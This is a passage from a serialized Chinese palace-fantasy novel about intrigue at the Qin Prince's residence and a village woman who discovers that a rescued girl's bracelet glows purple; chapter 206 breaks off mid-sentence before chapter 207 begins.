“妹妹这么快便回来了,快进来坐下歇歇。刚好赵嬷嬷泡了这杯养颜茶汤,这里面的玫瑰花,是用东宁国最极品的玫瑰,将其整支完整的晒制而成的。这会儿温度正好,妹妹快尝尝!”梅汐媛闻声,即刻脸上堆起了笑容来一边说着,一边将自己手中的茶递了过去。

陆天骄坐下,伸手将其接过,甘之如饴地轻抿了一口。

尚未等其将口中的茶汤咽下,梅汐媛便忙着开口问道“怎么样了?是否可行?”

陆天骄道“姐姐尽管安心去便是,程将军会亲自安派最可信的人护送姐姐的。”

“程将军派人?怎么,难道妹妹不去么?”梅汐媛忽然惊讶道。

陆天骄道“姐姐,那个丑丫头元宵过后就要入王府来了,妹妹还得留下来替姐姐先调教调教她,不是么?不要等姐姐从城南回来的时候,被那贱丫头冲撞了姐姐才好。”

梅汐媛暗自里心想,这个丫头诡计多端,心眼亦甚多。若是让她跟着的话,到时候怕是会露出什么马脚来,不去也好。

一念至此,梅汐媛便拉起陆天骄的手,笑道“好吧,那王府里这几日,就有劳妹妹费心了。”

陆天骄亦笑了笑,看了看外面的天色,已是略感见暗,便道“这天也不早了,那姐姐今晚便早点歇着,命人收拾收拾,城南城隍庙可不比京城方便,明天天不亮便要辛苦赶路了。”

(本章完)

第二百零三章:秦王府乱,即天下乱

陆天骄从韶华阁里回到自己的房内,从袖中掏出那纸字来,放在面前的书案上端详凝视了半晌,忽然脸上露出一抹诡异的笑,道“哼,就这个字也能糊弄了本小姐的眼睛,本小姐倒是要看看你们究竟在搞些什么?”

本就已身心俱疲至极的程良,经过陆天骄这么一闹,亲眼看着她似是一种莫名的阴谋诡计得逞的模样得意洋洋地离去。

于是,他内心忐忑且失神地回到了自己的房内,屏气凝神着似是在思考些什么。不知不觉中,竟就这样坐了一整个黄昏,似是连周围的空气亦都跟随着他一起凝结住了一般。

忽然,漆黑的房内一阵晚风拂过,方才察觉到窗外不知何时起,竟已是一片更深夜露。

此刻,他显然已睡意全无。冥冥之中,心里总惶惶不安地感觉,这俩个女人像是一定会串通着闹出些什么事来,可却又都无从考究。

终是无果,他缓缓起身来踱步到窗前将其轻轻闭起,思索片刻,索性又走到了另一旁,顺手从外面带了房门,径自再次朝着林月轩走去。

林月轩里香烟袅袅,一室寂静,到处一片灯火通明。

轩辕玥正一手支着下巴,竟也似是已有些体力不支了,连连在轩辕翰的榻边一个接着一个的打着盹儿。

而另一旁的轩辕昊,亦不知何时早已在窗前的软榻上恬静地睡了去。

程良一进入寝殿,挨个儿看了眼这姐弟俩的疲惫模样,不知为何,一时间心里竟感觉有些酸酸的。

稍作迟疑,只见他轻声踱步过去,先将软榻上已熟睡了的轩辕昊小心翼翼地抱起,放到了偏殿的床榻上,为其褪去了鞋袜和外衣,再将被角替其仔细捻好,尔后方才轻轻地撒下幔帳,再次回到了轩辕玥身边。

他轻轻地拍了拍她的肩,压低着声音轻唤道“公主,公主……”

轩辕玥闻声,一睁开来那双半张半合的朦胧睡眼,便转头惊道“程将军,你怎么又回来了……本公主竟然睡着了。”

言语里,似是有些自责。

程良忙关切道”公主,已是深夜了。就让属下来看着殿下吧,公主已经守了一整日了,去偏殿歇歇吧。明日一早,程良便送公主和太子回宫。”

轩辕玥听了程良的话,似是满腹的不放心,回头看了眼榻上依然伤痕累累地昏睡着的轩辕翰,深深地叹了口气,又无可奈何地说道“好吧,若有任何情况,你马上通知本公主。”

程良默默地点了点头。

“也不知道秦皇叔究竟是何原因,一直这样昏迷不醒着。云儿那边,至今也没有半点儿消息传来,本公主觉着,这天似是都要塌下来了一般。”轩辕玥一边说着,一边起身来欲往偏殿里去。

程良闻之,只默不作声地站

在一边。这一切,对于他而言,又何尝不是如此呢。此时此刻,他自是也不知道该说些什么,又能说些什么。

忽然,他双眼顿时一怔,似是想起了什么,忙对着轩辕玥的背影道“公主请留步。”

轩辕玥闻声速速止步回过头来,程良上前疑惑着道“公主,方才发生了一件事,程良觉得很是蹊跷。”

程良将陆天骄方才找他所说的事情,从头到尾一字不差地跟轩辕玥禀了起来。

听完程良的话,轩辕玥紧紧地咬着牙根,怒目着将一只纤细玉手重重地拍在了身旁的软榻扶手上,忿忿道“其实,本公主至今一直心神不宁着。我就知道,这心机颇深的陆天骄,决没有那么容易对付。果然,昊儿的字,最终还是没能逃过她的眼睛。可是,她竟突然不随那与之孟不离焦的永乐公主一起前往城南,而是独自留在了王府里。她究竟想要做什么呢……”

忽然,轩辕玥与程良异口同声道。

轩辕玥:“她想独入林月轩见秦皇叔!”

程良:“她想独入林月轩见殿下!”

可接着,轩辕玥又疑惑不解道“只是,这永乐公主对我西秦并不熟悉。她又是如何舍得将她那个影子留下来呢?…程将军,一定要派可靠的人跟紧了那永乐公主。可万万不能在秦王府现在正内忧外患的时候,再闹出个什么乱子来?”

程良朝其重重地点了点头,轩辕玥满腹忧心道“本公主明日便要回宫了,接下来秦王府的一切,便要靠将军了。将军务必一定要守好林月轩,守好秦皇叔,守好整个秦王府。秦王府若是乱了,整个西秦乃至整片灵空大陆亦将会一片混沌……元宵节宫宴,本公主会亲自向父皇母后禀明皇叔的情况,程将军安心做好自己的事便可。”

“程良一定竭尽所能守护殿下,守护秦王府。多谢公主对我家王爷的体恤。”程良信誓旦旦道。

轩辕玥说着,不由得鼻子一酸,竟不知不觉地泪水溢满了眼睛,遗憾地道“过了这个元宵,往后余生里,本公主怕是永远也不能在西秦国过节了。只可惜,今年最后一个元宵宫宴,看不到皇叔那备受万众瞩目的身影了。”

看着轩辕玥一脸失落,程良低声道“公主殿下真的不能回头吗?公主应该知道,只要是公主不愿做的事,我家王爷自是有办法将公主留下的。”

轩辕玥深叹口气,道“程将军,实不相瞒,即使没有东宁国三皇子,本公主亦从来就没想过要一辈子留在西秦国里。这个西秦国,可以没有本公主,可以没有任何人,但绝对不能没有秦皇叔。其实,本公主早就听闻朝中官员多次议论,当年的储位本是属于秦皇叔的,秦皇叔才是真正的真命天子。可是…可是本公主亦

不想看到年迈的父皇伤心。你说,本公主这样是不是太自私了?但本公主一直坚信,终有一日,秦皇叔会得到他曾失去的一切的。将军是秦皇叔最信任的人,本公主今夜忽然说这些,只是怕自己在西秦的时日不多了,只希望将军能了解本公主的心。”

轩辕玥一边流着泪,一边将这话一说完,便神情黯然地朝着偏殿的方向走去。

忽然,程良在其身后低声道了一句“公主……保重!”

轩辕玥闻声,顿时停下了脚步,却并未转身回头,听到程良这几个简单的不能再简单的字,竟似是有些如同告别一般,她知道,她说的,程良懂了。

于是,她像是对此回应极为满意和感动的流下两行热泪来,便大步朝外走了去。

程良默默地回到轩辕翰的榻边,凝视着他禁闭的眼眸,道“殿下,方才玥公主所说的一切,您可都听到了吗?秦王府乱,即天下乱,您倒是赶快醒过来啊!”

不经意间,只见轩辕翰的一根手指忽然微微抽动了两下,程良却似是并没有发觉。

而此时,位于西秦城南那个似是被世人遗忘了的偏远村落——桃花店村里。

头顶的夜空中繁星点点,一轮弯弯的月牙与繁星一起热闹地倒映在村里潺潺的河面上,给这片寂静的村落和更深的夜色增添了一抹特别的喧闹,偶尔竟已能听到许多虫鸣声来。

静静地站在村口的河岸上远远望去,点点灯火照耀出一片与世隔绝,祥静宁和的小世界。

而就在这星雨之下,灯火阑珊处,一户极为普通的农家小院落里,屋里一盏极其昏暗的烛火下,一亭亭玉立的黄衣少女正满脸焦急地对一老妇人禀道“老夫人,这姑娘自从被那王二背回来至今,都已经烧了一整天了,欢儿几乎将家里所有的被子都压在她身上了,可就是一滴汗都捂不出来,这可怎么办呢?如果再烧下去,怕是会烧坏脑子了吧?还有,她的头怎么伤的这么重,会不会……”

尚未及黄衣少女将心中的忧虑道完,老妇人便将其打断开口问道“你给她内服的是什么汤药?”

黄衣女子暗自想了想,流利的回答道“这姑娘落水后又淋了大雨,定是受了风寒,在咱们南方自是要用桂枝(去皮)、芍药、甘草(炙)、生姜、大枣(擘)而制成的桂枝汤咯。”

老妇人一听,脱口即出“不对!”

黄衣女子闻之,即刻纳闷惊声道“不对?这怎么可能呢?这些年,桃花店村里的人,凡是得了风寒的,不都是这样施药的么?”

老妇人似是提醒她道“可这姑娘,她并不是桃花店村里的人啊!”

黄衣女子果然即刻瞪大了眼睛,顿悟道“南方气候炎热,损伤水液,所

以南方人体质多热,麻黄汤主要是通过发汗驱除人体内寒气,于是便过多的损耗了人体正常的津液,因此会导致疾病加重,所以南方人应慎用此药汤;而北方人多寒,体质多偏于阳虚,多偏于痰湿……啊,欢儿知道了!欢儿一时情急,犯了糊涂。欢儿这就赶快去重新准备用麻黄(去节),桂枝(去皮),杏仁(去皮尖),甘草(炙)而制的麻黄汤给姑娘服下。”

老妇人望着她离去的背影,一边欣喜地笑着,一边似是无奈地摇了摇头。

(本章完)

第二百零四章:天怒亦或人怨

黄衣少女欢儿翩然离去。

老妇人却忽然收起了脸上满满的慈祥表情,瞬间变作一脸正色地看着那个早已被欢儿替其换上了一套干爽的粗布衣衫,此刻正被五六条厚厚的棉被紧紧包裹着,犹如一只圆圆的大粽子般昏睡着不省人事的女子面前。

女子被除去脸上面纱的遮挡,本应是张轮廓娟秀的脸上,那颗血色毒瘤便清晰可见了,在这昏暗的烛火光芒照耀下的夜里,着实让人看着有些触目惊心。

尽管如此,然其眉宇间的那份不凡的气质却始终如一地存在着,似是多年以来从未曾被岁月消磨掉半分。

老妇人缓缓踱步过去,坐在女子身旁反复仔细地端详了许久,方才缓缓伸出手来帮她顺了顺额角的几缕乱发。

此刻她面前的这个女子,其实并不算曾与之真正地见过。

那是很久以前,她偶尔从一幅画像上看到过一眼,但就只是那一眼,却足以让所有见过此画像的人一生都难以忘怀。

而如今眼前这名女子,看起来也就和当年画像里的一样,左右只不过十七八岁的模样,可这怎么可能呢?这究竟是怎么一回事?

她清楚地记得,当年身为先帝妃子的她圣眷正浓。

可不知为何,后来有一天,几乎是一夜之间,先帝不知从何处得来一幅女子画像,那画像中的女子真可谓是“手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。”

要说她简直宛若一个落入凡尘的九天仙女,又或者是个不惹尘世的凡间圣女,这些都一点儿也绝不为过。

显然,这画像上的女子,就连皇宫里最貌美的女子见了都自叹不如,又更何况是男子呢!

于是,已至不惑之年的先帝便似是魔怔了一般,忽然完全不顾朝中几位重臣的全力反对与阻挠,一意孤行地执意欲纳这张画中那稚嫩的绝世面孔为贵妃。

若是一般人家的女子,想必也没有人会如此百般阻挠,可偏偏这个女子,她一生下来就注定了将要背负这世间极不寻常的天责大任。

但让所有人都没有想到的是,这女子后来在被送进宫的半途中,竟遭到不测,不慎落崖身亡了。

果然,正如那几位重臣之前劝阻时的谏言所预料的一样,西秦国没有了那女子的存在,连连接踵而来的灾祸便开始到处肆无忌惮地狂虐开来。

女子身亡没多久,西秦东部的大片地区突然多日连降暴雨,降雨量之大,历年罕见,随之便发生了极其严重的河水倒灌灾难,相继淹没了无数良田与村落。那里的子民在后来极长的一段时间里没有水喝,这些切都不说,大量的河水流经后,宛若遭受了极大的洪灾,各种各样的死尸遍地都是,于此便引发了

更为凶险的瘟疫。那一年,西秦损失惨重,东部地区死人不计其数,为了救灾重建,西秦国更是几乎耗费了大半个国库。

没过几年,南部许多地区又跟着被洪涝席卷,接连大半个月的持续暴雨,使整个南部较低洼的地区全部都无一幸免的被其淹没,农田绝收,死尸遍地,各种瘟疫到处盛行。

而八年前的西北地区,久旱终于逢甘霖,大旱刚得以平息不久,好不容易缓了口气,却又迎来了史无前例的蝗虫之灾。时间正值农田收获的季节,遮云蔽日的漫天蝗虫疯狂而至,大口大口毫不留情地啃噬着庄户人的命根子。那一年,西秦整个西北部区,亦是西秦国最大的农作物产地,几乎颗粒无收,饿殍满地。

而北部地区一处名曰“金森林”的西秦国最大的林场,那场刚过去没两年的被所有人胆战心惊地称之为“天怒之火”的漫天大火,更是令林场周围的无数西秦子民死伤无数,西秦国的森林资源和财力损失惨重。那场大火在龙卷风的助力下,将火舌从地面卷上树稍,火头高达几十米、火势形成人力完全不可遏制之势,硬是将扑火的队伍死死地逼了回去。人们几乎只能眼睁睁无助地看着这场大火在连续烧了三天三夜之后,几乎是将西秦国最大的森林烧成了灰烬。此灾难,乃至后来都震惊了整个灵空大陆。

……

所有一切,这一切似乎永无休止的灾难,究竟是天怒,亦或还是人怨,又有谁能说清楚……

浮沉往事一幕幕,似是至今都尚还历历在目地萦绕在西秦每个子民的心头,让人记忆犹新着。

然而,这一切都还远远没有结束,传闻西秦国这仿佛如同被诅咒了一般的灾难,将周而复始,永远都不死不灭。

而先帝也正是在以后的岁月里,亲眼目睹了接连所发生的这些一个个真实的灾难后,方才认识到自己所犯下的永远不能被饶恕的滔天大罪,最终因此而郁郁寡欢至终。

回想起过去所经历的一切,老妇人不禁缓缓地阖上了眼来,嘴唇微微抽动着,眼角渗出滴滴泪株来从脸庞悄悄地滑落。

这泪水里,是伤、是痛、是悲、亦是喜……

沉默了半晌后,她忽然睁开来双眼,心绪似是有些激动而庆幸地看着床上女子的脸说道“太好了,真是太好了,这下,西秦终于有救了。没想到,你竟活着,你竟还活着。你不但还活着,而且这张脸还和当年一样绝世出尘、年轻貌美、肌肤吹弹可破…难道,莫非这就是传闻中,世代相传誓死守护西秦真命天子的血族圣女的奥秘……”

忽然,当她欣喜的一边说着,一边将目光移到女子脸上的血色胎记的时候,她脸上的笑容却忽然嘎然而止,不禁又蹙眉疑

惑了起来,自言自语道“只是…这张脸怎么会增添了一个血色胎记,这又是怎么回事?她至今都清晰的记得,那张画像上的女子面如桃花,可并无半点瑕疵的呀?”

老妇人一边看着,心里一边想着,不禁伸手从被窝里摸出了女子的一只手来将其捉住,轻轻剥开附在其上面的粗布衣衫,再次睁大了眼睛开始更仔细地审视起女子手腕上的那只七彩金丝彩玉镯子。

许久后,她纳闷喃喃道“这只镯子,的确和画像上的一模一样啊!”

最终,她还是百思不得其解。看看镯子,又看看眼前的人,如此反反复复,来来回回怔着思量了许久。

突然,她猛地抬头朝着女子身上双眼一怔,似是又想起了什么。

只见她忙起身来,拿过床头桌案上的那盏昏暗的小油灯。

继而将其照在女子的身上,并开始伸手一层一层地掀去附在其身上用来发汗的一条条棉被。

尔后,她又缓缓解开了女子的衣带,在她光秃秃白皙而又细嫩光滑的身上仔细搜索了起来。

半晌的忙活后,却见她端起似是一脸极为失望又纳闷的表情在其身旁坐了下来,嘴里低声喃喃道“奇怪,怎么会没有呢?不可能啊,我不可能记错的啊。如此绝世之美人,出尘脱俗,恍若仙子,世间极为少有。而眼前这女子的相貌以及其眉宇间的那份于世间独一无二的气质,还有这看似颇具神秘与奇异的镯子,都是跟画像里一模一样的啊……”

就在老妇人为此深感不解,迟疑之际,欢儿满脸欣喜地捧着一碗尚还冒着腾腾热气的麻黄汤走进门来,远远地便问道“老夫人,您在找什么呢?”

老妇人闻声,忙回过神来放下手里的小油灯,道“哦,老身是想查看查看,她的身上还有没有其他伤了。若是有的话,好及时给她一并诊治,不要让小病拖成重疾了。”

欢儿顿悟道“欢儿知道,这就是老夫人平时给欢儿讲过的叫做‘千里之堤,溃于蚁穴’,就是说即使是很长很长的堤坝,也会因为小小蚁虫的啃噬,最后被摧毁。指人们往往不注意小事则会酿成大祸或不注意小事则会造成严重的损失。而在医者和病患这里,则是说即使是很小很小的疾病,如果不及时发现和治疗,亦会将这个人的健康体魄彻底给摧毁,对么?”

欢儿一边认真地说着,一边坐下在女子的身边自顾自地舀起药碗里的药汤来,一勺接着一勺缓缓地将其给女子喂下。

看着老妇人默不作声地坐在一旁,一副黯然失魂着的模样,欢儿安慰她道“老夫人放心吧,白日里欢儿给这位姑娘擦洗身子换衣物的时候,已经都仔仔细细,真真切切地检查过了。她浑身除了头部受到磕碰所留下的

伤口以外,到处都是光溜溜的,就连一个小小伤疤都没有,更别说其他什么伤口了。”

闻言,老妇人这才回过神来,道“白日里,你真的未曾在这女子的身上发现其他任何疤痕?”

欢儿认真地朝其点了点头,心里却因老妇人的这份惊讶,浮过一抹特别奇异的感觉,可这感觉却仅仅只是稍纵即逝。

最后,欢儿依旧只顾着一边帮女子喂食汤药,一边甚感庆幸地道“还好她还能服得下药汤,否则就更糟糕了。今日,幸亏老夫人机智,没让那个贪心的王二将这姑娘给活埋了。否则,就真的是那王二的大罪过了,老夫人帮着王二积了德,果真是个名副其实的‘活菩萨’呢!”

听了欢儿的话,依旧深陷在自己的猜测和疑惑中的老妇人,神秘地说道“老身可并不是什么‘活菩萨’,而是…这姑娘她本就命不该绝?”

闻此,欢儿似是突然想起了老妇人白日里对王二曾说过的话,便问道“对了,老夫人白日里跟王二说的那些什么贵人的话,都是真的么?”

(本章完)

第二百零五章:守得云开见紫芒

欢儿似是突然想起了老妇人白日里对王二曾说过的话,便好奇地问道“对了,老夫人白日里跟王二所说的那些什么贵人的话,都是真的么?”

老妇人端坐在一边,看着床上的女子深叹口气,一脸悠长地说道“或许老身是真的老了吧。这世间的事,是是非非,和这真真假假世间的人,如今,老身竟似乎也看不明白了。”

欢儿闻声,立刻停下了手里的动作,张大嘴吃惊道“啊?不会吧,难道老夫人对王二所言的‘若是他将这姑娘悄悄地背至后山里给埋了,亦或者又心生贪念将她手上的那只镯子给摘去用了,他便真的会倒大霉,兴许整个天下都不会放过他。’,这些话,竟都是在诓骗王二?”

自打这个黄衣少女开始跟着老妇人相依为命以后,在她的心里和眼里,老妇人便始终都是个从来都不会跟人扯谎的人,可如今竟让她亲耳听到她的主人说出这样的话来,欢儿着实惊呆了。

待醒过神来后,她皱起眉头一脸忧心地对她的主人说道“可这王二一贯称呼老夫人您左一个‘活菩萨’,右一个‘活菩萨’,他可是当真信了您的话,把这姑娘活活当成了是他命里的贵人,甚至是能帮他改变一生的人,眼巴巴地等着她清醒过来呢!就今日白天,他将这姑娘从河边抱回来的时候,愣是赖在咱家院子里死活都不肯走,说是一定要寸步不离地守好这个院子,直到他亲眼看到这姑娘醒了。欢儿是磨破了嘴皮子好说歹说了半天,后来还煮了一大桌好吃的饭食,好不容易方才将他打发走了。就这,临走时还说他明日一大早便又要来看呢。可如今这般,这可到底该如何是好呢?如果被他知道‘活菩萨’老夫人您是在诓他,想他一定不会轻易了事罢休的。”

“事到如今,也只能是走一步,看一步了。那王二虽然时而有些懒惰,还有些小贪婪,但本质还是好的,不会做出什么出格的事来。这也都怪老身眼拙,当时还以为是见到了久未蒙面的旧人,心里一高兴激动,竟看走了眼,这于老身自己,亦又何尝不是白高兴了一场呢。老身还以为,有生之年,终于让老身等到了,老身终于等到我西秦大地的守护者归来。自此,一切苦难都将过去,一切锥心的离别亦重逢在即,我西秦国的黎民百姓,以后再也不会有苦难…难道,老身真的等不到了,那老身还守在这里做什么?不如归去,不如归去……”老妇人一边失望而又落寞地说着,一边拖着似是极为沉重无力的身体缓缓起身来,准备回自己的房间去。

而此时的欢儿,眼睁睁地看着老妇人脸上此刻现出来的那份多年以来从未有过的灰心与失落,看着她头发花白一步一步渐渐离去的那个落寞极

了的背影,欢儿的心里顿时涌上了一阵莫名的酸楚,目光不禁悄悄地落在了手里正捧着的那只早已凉透了的空药碗上,一时间怔在那里一动也不动。

忽然,欢儿瞥见似是方才的那碗麻黄汤已经开始发挥药效,女子额头及周围,还有脖颈上已经开始大量的渗出密密的细汗来,想必周身上亦都已经开始发汗出来。欢儿赶忙起身放下手里的药碗,缓缓开始一层又一层地撤去其身上的一部分被子,并从一旁拿起干布巾来帮其仔细地擦拭起汗水来。

就在欢儿伴随着手上的动作,缓缓移动着目光准备掀开女子的一只衣袖来,擦拭其皙白细嫩的臂膀上的汗水时,忽见她的眼睛顿时似是被什么东西吸引住了一般,突然停下了手上忙碌的动作。只见她目不转睛地注视着女子手腕上的那只七彩金丝彩玉镯子,那双本就铜铃般又大又明亮的眼睛顿时瞪的更大了。

这时,身后的老妇人正准备着抬脚跨过房门的门槛,就在这一刹那间,忽然从身后传来欢儿的一阵紧急而大声的急呼声“老夫人,您快过来看,这位姑娘手腕上的这个镯子会发光耶!真的好神奇啊!欢儿从来没有见过会发光的镯子呢!”

老妇人闻声即刻顿足,先是眼睛怔着顿时一愣,继而忙转身回过头去三步并作两步着疾步到欢儿的身旁,亦瞬时被这眼前的景象同欢儿一样惊呆了。

女子的症状已然得到了很好的控制,此时已舒适地恬静沉睡了去。只见她的一只手,此时正被坐在其身旁一脸惊奇的欢儿紧紧地握在手中,而套在这只手腕上的那只七彩金丝彩玉镯子,正忽闪忽闪地发出道道紫色光芒来,仿佛似是在散发着某种神奇的力量出来一般。

主仆两人都屏住呼吸,目不转睛地凝视着这只神奇的七彩金丝彩玉镯子。

不知过了多久,在这忽明忽暗的紫芒中,突然又隐隐约约地现出来一个血色纹路,这个纹路印记的形状像是个‘l’形的图案,但这‘l’形血色纹路却只是昙花一现,似是刚现出来便就瞬间消逝了。随即,那忽隐忽现的紫色光芒亦随之消失不见。

主仆两人惊讶极了,不禁面面相觑着。

许久后,欢儿依旧紧握着女子的那只手,似是都忘记了放下,带着些许惊恐地低声问道“老夫人,这只七彩金丝彩玉镯子到底是什么东西啊,它是正义的?还是邪恶的?”

无疑,欢儿的这句话其实是在怀疑,今日她们主仆俩千方百计所救下的眼前的这个女子,她究竟是不是善类?她们主仆俩到底是在做善事,还是在引狼入室,养虎为患?若非今夜自己亲眼所见,还有主人作证,她竟不知,这世间真会有如此神奇之物。而拥有这神奇之物

的人,她又会有何奇异之才呢?

此刻,欢儿惊诧地看着一脸严肃认真,沉默不语着的主人,心里只有一件事是肯定的,那就是:眼前的这个女子,绝非普通人。

而一旁的老妇人,见了这奇异之象后,此刻脑中却已完全混乱,搞不清楚状况了。只一遍又一遍地重复着,在心里问她自己“她到底是谁?她到底是谁?她到底是谁?……”

忽然,她想起了很多年以前,那个救下自己的性命,皆被世人称之为是个得道高僧的城南城隍庙主持,亲自带她来到这个与世隔绝了的桃花店村里落脚。临走的时候,曾经对她千叮咛万嘱咐的一句话来“切记:待到紫芒现世于此地之际,便是你与亲生骨肉久经分离团聚之时,届时务必再往城隍庙来寻我相聚于此为其解除封印,解救众生。”

一念至此,老妇人不禁愣愣地低声喃喃了一句“难道…高僧当年口中千叮咛万嘱咐所说的,让老身在此安心等待着的紫芒,竟是此时出现在我眼前这若隐若现,转瞬即逝的紫芒……”

顿时,老妇人只觉得发生的这一切太不可思议了,当年,她只是被逼无奈,不得不在此隐姓埋名地安顿下来。

这些年,时间过的太慢,慢的她几乎已经快要忘记了自己是谁,慢的她都忘记了自己的真正身份,慢的她都忘记了狠心撇下自己的亲生骨肉,在此隐姓埋名着究竟是为了什么;

这些年,时间又似过的太快,快的她都还没有一点儿思想准备,这紫芒便就这样现世于此了。

一念至此,老妇人的心里忽然似是瞬间排山倒海地翻腾了起来,以至于她愣在原地里,激动地都说不出话来,只有嘴巴不停地一张一合着,然最终还是被泪水给抢先夺眶而出。

欢儿一见主人此时这副无比惊讶又说不出话来的激动表情,顿时亦惊得直越来越瞪大了那双圆溜溜的大眼睛来,心里忽然浮起一抹极不好的预感,怯怯地疑惑道“老夫人,您这是怎么了?”

欢儿一边说着,一边朝着老妇人的视线所向处望去,忽道“是不是……难道这个姑娘,她真的是个妖怪?”

“啊……”欢儿一直自说自话,此时已然自己把自己完全吓到了。话音刚落,便大惊失声叫了起来。

老妇人忙上前去一把将其嘴巴死死地捂了起来,在其耳边嘘声道“嘘……”

可刚一松手,欢儿又开始战战兢兢地一边欲朝着门外退去,一边低声怯怯道“老夫人,欢儿害怕……”

见此,老妇人一把将其胳膊死死地拽住,并顺势往回大力地拉了一把,瘦小的欢儿便顿时被甩了回来,继而紧紧地禁锢在了她的掌心里,再也动弹不得“这里是你的卧房,你想逃去哪儿啊?”

“我…我…我……”欢儿吞吞吐吐了半天,慌乱之下,竟忘记了在这个院子里,也就总共老妇人和她,主仆俩人,亦刚好只有俩个卧房。

欢儿透过窗外往外急急一瞥,从白日里开始折腾至今,不知不觉中,竟已是月上树梢的时辰的。这初春的夜里,出了屋子,外面还是极冷的。

正在她痛苦思量之际,老妇人忽然开口道“把她移到老身的房里去吧!”

“不行……这怎么行呢?您是主,欢儿是仆。欢儿怎能让她夜里去打扰主子您呢?再说了,她还是个…是个……”欢儿当即做出反驳,欲言又止道。

“那今夜,她就与你同睡?”老妇人故意道。

“我…我……”欢儿闻之,好不容易刚平复下来的些许平静心情,又开始乱了起来。于是,低头吞吞吐吐起来道。

“好了,别愣着了,快过来帮忙吧。若是再不睡的话,天就快要亮了。”老妇人一边自顾自地朝女子身边踱步过去,一边说道。

(本章完)

第二百零六章:万事难如意

欢儿终究只不过还是个孩子,又对此其中原由一无所知。此时,她只能嘟囔起一张粉嘟嘟的小嘴,显得极不情愿又似无可奈何地怯怯过去,先帮女子穿好鞋袜,方才从老妇人的手里将其接过,继而将女子的一只胳膊驾在自己瘦弱的肩上,在老妇人的帮衬下缓缓迈步开来。

倒是并没有吃力,主仆俩人便将女子重新安放在了老妇人房内的一张小床上,欢儿从始至终都显出一副怯怯惧怕的模样缩在一旁。此时,她似是习惯性地开口问道“老夫人还有没有其他吩咐?”

老妇人坐在床边,一边仔细地帮女子擦拭着方才遗留的汗渍,一边开口解释道“欢儿,你莫要害怕,这位姑娘她并不是什么妖怪,她……”

未及老妇人将话讲完,欢儿似是迫不及待地脱口便惊声而道“那为何她会有一只那般怪异的手镯,欢儿长这么大,从来都没见过。倒是…经常听得王二在村子里跟那些小娃娃们讲一些离奇鬼怪的故事时,才会出现那样的鬼怪之物。”

老妇人闻之微微摇了摇头,淡淡地笑了笑,问“欢儿,你方才亦亲眼所见,是否这姑娘手上的七彩金丝彩玉镯子所发出的光芒是紫色的。”

欢儿稍作回忆,忽然伸出双臂来环抱住自己,似是仍惊魂未定道“嗯,是紫芒没错,忽隐忽现的,临了还显出一个鲜血一样鲜红的血色纹路来,真是可怕怪异极了!”

老妇人仍一边镇定地继续着手里的动作,一边道“紫芒即紫气,乃祥瑞之气,多附会为帝王、圣贤或宝物出现的先兆。欢儿竟会不知?可见,欢儿的书,没念好喔!”

闻此,欢儿似乎方才有了那么一点点释怀,于是,缓缓放下了双臂。口中一边纳闷地重复着老妇人的话,一边向小床边碎步着靠拢过去仔细瞧了瞧床上的女子,说道“帝王、圣贤或宝物出现的先兆……可这位姑娘看起来也并不比欢儿大几年,总不至于她能做的个女帝王或者女圣贤吧?亦或者老妇人言外之意是说这姑娘她是个宝物?可依欢儿看,要说宝物嘛,那个手镯倒还勉强算是个,可除了能发光以外,似乎也看不出有什么奇特的异能。就连发光,都是忽闪忽闪,若隐若现的…哎呀,该不会是那姑娘落水后,宝物被河水给泡坏了吧?”

闻此,老妇人忽然抬起头来,喝斥欢儿道“住口,不要瞎说。”

欢儿遭斥责,赶忙收声低下头来。

老妇人停下手里的动作,起身来到窗边,望着北方天空中的一片繁星,意味深长地道“历代宫廷里,都是以观测夜空中的紫微垣明暗来判断皇家的兴衰。而这手镯如今所发出的忽闪忽闪、若隐若现、忽明忽灭的紫芒,正是我西秦国如今的运势,危在旦夕,颇令

人堪忧啊!”

“老夫人,请恕欢儿愚钝,欢儿着实看不出这手镯的奥妙所在。”欢儿默默地说了句。

老妇人叹了口气,并未责怪她,只转身过来说道“明日天一亮,你早起去一趟城南城隍庙里,找一位玄空大师,就说是桃花店村里的老夫人让你前去寻他的,就跟他说…‘紫芒现世,忽明忽灭’。”

“‘城南城隍庙’‘玄空大师’‘紫芒现世,忽明忽灭’……”欢儿嘴里一遍又一遍地重复着这几个字。

片刻后,老妇人催促道“好了,天已经很晚了,赶快回房去歇着吧,明日还要出远门呢。”

“是”欢儿似是已都记下了老妇人所言,应了一声便退了出去,替其将门轻轻掩上。

经过昨夜的一场滂沱大雨,这一日,终于拨云见日;而这一夜,也终于云散月明。

欢儿离去,一室寂静,老妇人站在窗边,默默地凝视着床上女子安详的睡脸,脑海里回忆起许多许多……

第二日天还未亮,城东秦王府门前尚还处在一片灯火通明之中。

程良、轩辕玥和轩辕昊三人便已早早起身来,都忧心忡忡地踏上了回宫之路。

程良早已命人将所有通过万娇阁与北烈敌寇有牵连的朝中官员名单及证供通通整理好,今日早朝,将以他的主子秦王轩辕翰的名义上奏朝廷,待璟帝定夺。

待到天微微亮的时候,梅汐媛亦已经一身华服,满头珠翠却一脸忧郁的在陆天骄的搀扶下,从韶华阁里缓缓走了出来,身后跟着赵嬷嬷和几名贴身侍候的婢女。

程良帮其安排的几名护卫和马车亦已经早早便在秦王府的大门前候着,陆天骄亲自扶着她上了马车,又郑重地一再交待了众护卫许多,方才后退了几步让开车道。

此刻,整队人马正准备向城南城隍庙出发驶去。

忽然,马车的窗帘缓缓被掀了开来,梅汐媛一眼便扫到了站在秦王府门前石阶下的陆天骄,她靠近车窗轻声唤了声“妹妹”

陆天骄疾步上前,问“姐姐还有何吩咐?”

梅汐媛心里,其实根本不想去什么城隍庙祈福。她自知,自己直到现在都没有半分入轩辕翰的眼,自是不管她做什么,说什么,亦或做再多,说再多,始终他都不会领情。

可即便如此,她总是感觉,只要她自己还是秦王正妃,只要她的人尚还在秦王府里,她梅汐媛便是这睥睨天下的灵空战神,西秦国最尊贵的秦王府上唯一的女主人。

没有人知道他们究竟

第二百零七章:南边飘来朵桃花云

灵儿一听,惊道“写字?姐姐是在开玩笑吗?秦王殿下人都已经昏迷了快两天两夜了,怎么能写字呢?”

“什么?殿下他…他昏迷了两天两夜啦?这是怎么回事?他不是只是受伤了吗?”

陆天骄此话一出,不想灵儿却突然哇哇大哭了起来,一边哭一边用那双圆嘟嘟稚嫩的小手抹着眼泪,泣不成声道“为了救灵儿的娘亲,秦王殿下和云姐姐一同坠入悬崖。秦王殿下深受重伤,至今昏迷不醒。而云姐姐,云姐姐她…呜…呜…呜……”

